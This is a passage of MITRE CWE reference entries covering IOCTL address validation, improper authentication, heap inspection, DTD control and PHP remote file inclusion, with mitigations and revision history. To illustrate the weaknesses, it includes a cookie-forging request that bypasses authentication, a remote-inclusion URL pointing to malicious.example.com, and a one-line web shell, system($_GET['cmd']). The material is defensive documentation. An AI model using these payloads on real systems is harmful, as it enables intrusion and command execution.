In C++, if the new operator was used to allocate the memory, it may be allocated with the malloc(), calloc() or realloc() family of functions in the implementation. Someone aware of this behavior might choose to map this problem to CWE-590 or to its parent, CWE-762, depending on their perspective.

+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Description, Relationships, Other_Notes
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Potential_Mitigations
2009-05-27CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Name, Other_Notes, Potential_Mitigations, References, Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-02-18CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Improperly Freeing Heap Memory
2009-05-27Free of Invalid Pointer Not on the Heap
2009-10-29Free of Memory not on the Heap

CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code

Weakness ID: 781
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software defines an IOCTL that uses METHOD_NEITHER for I/O, but it does not validate or incorrectly validates the addresses that are provided.

Extended Description

When an IOCTL uses the METHOD_NEITHER option for I/O control, it is the responsibility of the IOCTL to validate the addresses that have been supplied to it. If validation is missing or incorrect, attackers can supply arbitrary memory addresses, leading to code execution or a denial of service.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

C: (Often)

C++: (Often)

Operating Systems

Windows XP: (Sometimes)

Windows 2000: (Sometimes)

Windows Vista: (Sometimes)

Platform Notes

Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.

+ Common Consequences
ScopeEffect
Integrity
Availability
Confidentiality

Technical Impact: Modify memory; Read memory; Execute unauthorized code or commands; DoS: crash / exit / restart

An attacker may be able to access memory that belongs to another process or user. If the attacker can control the contents that the IOCTL writes, it may lead to code execution at high privilege levels. At the least, a crash can occur.

+ Likelihood of Exploit

Low to Medium

+ Observed Examples
ReferenceDescription
Driver for file-sharing and messaging protocol allows attackers to execute arbitrary code.
Anti-virus product does not validate addresses, allowing attackers to gain SYSTEM privileges.
DVD software allows attackers to cause a crash.
Personal firewall allows attackers to gain SYSTEM privileges.
chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error.
+ Potential Mitigations

Phase: Implementation

If METHOD_NEITHER is required for the IOCTL, then ensure that all user-space addresses are properly validated before they are first accessed. The ProbeForRead and ProbeForWrite routines are available for this task. Also properly protect and manage the user-supplied buffers, since the I/O Manager does not do this when METHOD_NEITHER is being used. See References.

Phase: Architecture and Design

If possible, avoid using METHOD_NEITHER in the IOCTL and select methods that effectively control the buffer size, such as METHOD_BUFFERED, METHOD_IN_DIRECT, or METHOD_OUT_DIRECT.

Phases: Architecture and Design; Implementation

If the IOCTL is part of a driver that is only intended to be accessed by trusted users, then use proper access control for the associated device or device namespace. See References.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class20Improper Input Validation
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory465Pointer Issues
Development Concepts699
CanPrecedeWeakness BaseWeakness Base822Untrusted Pointer Dereference
Development Concepts699
CanFollowWeakness VariantWeakness Variant782Exposed IOCTL with Insufficient Access Control
Research Concepts1000
+ Research Gaps

While this type of issue has been known since 2006, it is probably still under-studied and under-reported. Most of the focus has been on high-profile software and security products, but other kinds of system software also use drivers. Since exploitation requires the development of custom code, it requires some skill to find this weakness.

Because exploitation typically requires local privileges, it might not be a priority for active attackers. However, remote exploitation may be possible for software such as device drivers. Even when remote vectors are not available, it may be useful as the final privilege-escalation step in multi-stage remote attacks against application-layer software, or as the primary attack by a local user on a multi-user system.

+ References
Ruben Santamarta. "Exploiting Common Flaws in Drivers". 2007-07-11. <http://reversemode.com/index.php?option=com_content&task=view&id=38&Itemid=1>.
Yuriy Bulygin. "Remote and Local Exploitation of Network Drivers". 2007-08-01. <https://www.blackhat.com/presentations/bh-usa-07/Bulygin/Presentation/bh-usa-07-bulygin.pdf>.
Anibal Sacco. "Windows driver vulnerabilities: the METHOD_NEITHER odyssey". October 2008. <http://www.net-security.org/dl/insecure/INSECURE-Mag-18.pdf>.
Microsoft. "Buffer Descriptions for I/O Control Codes". <http://msdn.microsoft.com/en-us/library/ms795857.aspx>.
Microsoft. "Using Neither Buffered Nor Direct I/O". <http://msdn.microsoft.com/en-us/library/cc264614.aspx>.
Microsoft. "Securing Device Objects". <http://msdn.microsoft.com/en-us/library/ms794722.aspx>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
2009-07-15MITREInternal CWE Team
Modifications
Modification DateModifierOrganizationSource
2009-12-28CWE Content TeamMITREInternal
updated Common_Consequences, Potential_Mitigations, References, Time_of_Introduction
2010-09-27CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences

CWE-287: Improper Authentication

Weakness ID: 287
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.
+ Alternate Terms
authentification:

An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.

AuthC:

"AuthC" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Language-independent

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Read application data; Gain privileges / assume identity; Execute unauthorized code or commands

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.

+ Likelihood of Exploit

Medium to High

+ Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness: Limited

Manual Static Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Effectiveness: High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Configuration Checker

Effectiveness: SOAR Partial

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

  • Formal Methods / Correct-By-Construction

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

(Bad Code)
Example Language: Perl 
my $q = new CGI;

if ($q->cookie('loggedin') ne "true") {
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("Error: you need to log in first");
}
else {
# Set loggedin and user cookies.
$q->cookie(
-name => 'loggedin',
-value => 'true'
);
$q->cookie(
-name => 'user',
-value => $q->param('username')
);
}
}

if ($q->cookie('user') eq "Administrator") {
DoAdministratorTasks();
}

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

(Attack)
 
GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true

[body of request]

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

Example 2

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force with a large number of common words. Once the attacker gained access as the member of the support staff, he used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Example 2 References:

Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <http://www.wired.com/threatlevel/2009/01/professed-twitt/>.
+ Observed Examples
ReferenceDescription
login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1.
admin script allows authentication bypass by setting a cookie value to "LOGGEDIN".
VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
product uses default "Allow" action, instead of default deny, leading to authentication bypass.
chain: redirect without exit (CWE-698) leads to resultant authentication bypass.
product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.
product does not properly implement a security-related configuration setting, allowing authentication bypass.
authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username.
authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.
use of LDAP authentication with anonymous binds causes empty password to result in successful authentication
product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class284Improper Access Control
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory718OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory812OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory930OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2013) (primary)928
ChildOfCategoryCategory935OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control
Weaknesses in OWASP Top Ten (2013)928
ChildOfCategoryCategory947SFP Secondary Cluster: Authentication Bypass
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness VariantWeakness Variant261Weak Cryptography for Passwords
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant262Not Using Password Aging
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base263Password Aging with Long Expiration
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base288Authentication Bypass Using an Alternate Path or Channel
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant289Authentication Bypass by Alternate Name
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base290Authentication Bypass by Spoofing
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base294Authentication Bypass by Capture-replay
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant301Reflection Attack in an Authentication Protocol
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant302Authentication Bypass by Assumed-Immutable Data
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base303Incorrect Implementation of Authentication Algorithm
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base304Missing Critical Step in Authentication
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base305Authentication Bypass by Primary Weakness
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant306Missing Authentication for Critical Function
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base307Improper Restriction of Excessive Authentication Attempts
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base308Use of Single-factor Authentication
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base309Use of Password System for Primary Authentication
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfCompound Element: CompositeCompound Element: Composite384Session Fixation
Development Concepts699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base521Weak Password Requirements
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base522Insufficiently Protected Credentials
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant593Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
Development Concepts (primary)699
Research Concepts1000
ParentOfWeakness BaseWeakness Base603Use of Client-Side Authentication
Development Concepts (primary)699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant620Unverified Password Change
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base640Weak Password Recovery Mechanism for Forgotten Password
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base645Overly Restrictive Account Lockout Mechanism
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base798Use of Hard-coded Credentials
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base804Guessable CAPTCHA
Development Concepts699
Research Concepts1000
ParentOfWeakness BaseWeakness Base836Use of Password Hash Instead of Password for Authentication
Development Concepts (primary)699
Research Concepts (primary)1000
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
CanFollowWeakness BaseWeakness Base613Insufficient Session Expiration
Development Concepts699
Research Concepts1000
+ Relationship Notes

This can be resultant from SQL injection vulnerabilities and other issues.

+ Functional Areas
  • Authentication
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication Error
OWASP Top Ten 2007A7CWE More SpecificBroken Authentication and Session Management
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
WASC1Insufficient Authentication
+ References
OWASP. "Top 10 2007-Broken Authentication and Session Management". <http://www.owasp.org/index.php/Top_10_2007-A7>.
OWASP. "Guide to Authentication". <http://www.owasp.org/index.php/Guide_to_Authentication>.
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 4, "Authentication" Page 109. 2nd Edition. Microsoft. 2002.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Relationships
2009-01-12CWE Content TeamMITREInternal
updated Name
2009-05-27CWE Content TeamMITREInternal
updated Description, Related_Attack_Patterns
2009-07-27CWE Content TeamMITREInternal
updated Relationships
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences, Observed_Examples
2009-12-28CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, References
2010-02-16CWE Content TeamMITREInternal
updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITREInternal
updated Relationships
2011-03-29CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2013-07-17CWE Content TeamMITREInternal
updated Relationships
2014-02-18CWE Content TeamMITREInternal
updated Relationships
2014-06-23CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Relationships
2017-05-03CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Authentication Issues
2009-01-12Insufficient Authentication

CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection')

Weakness ID: 244
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.

Extended Description

When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a "heap inspection" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

C

C++

+ Common Consequences
ScopeEffect
Confidentiality
Other

Technical Impact: Read memory; Other

Be careful using vfork() and fork() in security sensitive code. The process state will not be cleaned up and will contain traces of data from past use.

+ Demonstrative Examples

Example 1

The following code calls realloc() on a buffer containing sensitive data:

(Bad Code)
Example Language:
cleartext_buffer = get_secret();...
cleartext_buffer = realloc(cleartext_buffer, 1024);
...
scrub_memory(cleartext_buffer, 1024);

There is an attempt to scrub the sensitive data from memory, but realloc() is used, so a copy of the data can still be exposed in the memory originally allocated for cleartext_buffer.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base226Sensitive Information Uncleared Before Release
Research Concepts (primary)1000
ChildOfWeakness ClassWeakness Class227Improper Fulfillment of API Contract ('API Abuse')
Development Concepts (primary)699
Seven Pernicious Kingdoms (primary)700
ChildOfCategoryCategory633Weaknesses that Affect Memory
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory742CERT C Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness ClassWeakness Class669Incorrect Resource Transfer Between Spheres
Research Concepts1000
MemberOfViewView630Weaknesses Examined by SAMATE
Weaknesses Examined by SAMATE (primary)630
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Affected Resources
  • Memory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsHeap Inspection
CERT C Secure CodingMEM03-CClear sensitive information stored in reusable resources returned for reuse
CERT C++ Secure CodingMEM03-CPPClear sensitive information stored in returned reusable resources
Software Fault PatternsSFP23Exposed Data
+ White Box Definitions

A weakness where code path has:

1. start statement that stores information in a buffer

2. end statement that resize the buffer and

3. path does not contain statement that performs cleaning of the buffer

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
7 Pernicious KingdomsExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-08-01KDM AnalyticsExternal
added/updated white box definitions
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Name, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Relationships
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples, Name
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences, Description, Other_Notes
2010-12-13CWE Content TeamMITREInternal
updated Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Heap Inspection
2008-09-09Failure to Clear Heap Memory Before Release
2009-05-27Failure to Clear Heap Memory Before Release (aka 'Heap Inspection')
2010-12-13Failure to Clear Heap Memory Before Release ('Heap Inspection')

CWE-827: Improper Control of Document Type Definition

Weakness ID: 827
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the software to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker.

Extended Description

As DTDs are processed, they might try to read or include files on the machine performing the parsing. If an attacker is able to control the DTD, then the attacker might be able to specify sensitive resources or requests or provide malicious content.

For example, the SOAP specification prohibits SOAP messages from containing DTDs.

+ Applicable Platforms

Languages

XML

Architectural Paradigms

Web-based

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read files or directories

If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.

Availability

Technical Impact: DoS: resource consumption (CPU); DoS: resource consumption (memory)

The DTD may cause the parser to consume excessive CPU cycles or memory using techniques such as nested or recursive entity references (CWE-776).

Integrity
Confidentiality
Availability
Access Control

Technical Impact: Execute unauthorized code or commands; Gain privileges / assume identity

The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.

+ Observed Examples
ReferenceDescription
Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory442Web Problems
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class706Use of Incorrectly-Resolved Name or Reference
Research Concepts (primary)1000
ChildOfWeakness ClassWeakness Class829Inclusion of Functionality from Untrusted Control Sphere
Research Concepts1000
CanPrecedeWeakness VariantWeakness Variant776Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
Research Concepts1000
+ References
Daniel Kulp. "Apache CXF Security Advisory (CVE-2010-2076)". 2010-06-16. <http://svn.apache.org/repos/asf/cxf/trunk/security/CVE-2010-2076.pdf>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
2010-10-25MITREInternal CWE Team
Modifications
Modification DateModifierOrganizationSource
2011-03-29CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2013-02-21CWE Content TeamMITREInternal
updated Applicable_Platforms

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Weakness ID: 98
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

Extended Description

In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the software will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

+ Alternate Terms
Remote file include
RFI:

The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers.

Local file inclusion:

This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker's control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs.

+ Time of Introduction
  • Implementation
  • Architecture and Design
+ Applicable Platforms

Languages

PHP: (Often)

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.

+ Likelihood of Exploit

High to Very High

+ Detection Methods

Manual Analysis

Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.

Effectiveness: High

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.

+ Demonstrative Examples

Example 1

The following code attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.

victim.php

(Bad Code)
Example Language: PHP 
$dir = $_GET['module_name'];
include($dir . "/function.php");

The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of "http://malicious.example.com" by using the following request string:

(Attack)
 
victim.php?module_name=http://malicious.example.com

Upon receiving this request, the code would set 'module_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of function.php looks like the following:

(Bad Code)
 
system($_GET['cmd']);

An attacker could now go a step further in our example and provide a request string as follows:

(Attack)
 
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l

The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by tvictim.php to execute the potentially malicious command, in this case:

(Attack)
 
/bin/ls -l

Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations.

+ Observed Examples
ReferenceDescription
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable variable in configuration script leads to file inclusion.
PHP file inclusion.
PHP file inclusion.
PHP file inclusion.
PHP local file inclusion.
PHP remote file include.
PHP remote file include.
PHP remote file include.
PHP remote file include.
PHP remote file include.
Directory traversal vulnerability in PHP include statement.
Directory traversal vulnerability in PHP include statement.
PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.
chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [R.98.1] provide this capability.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.98.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

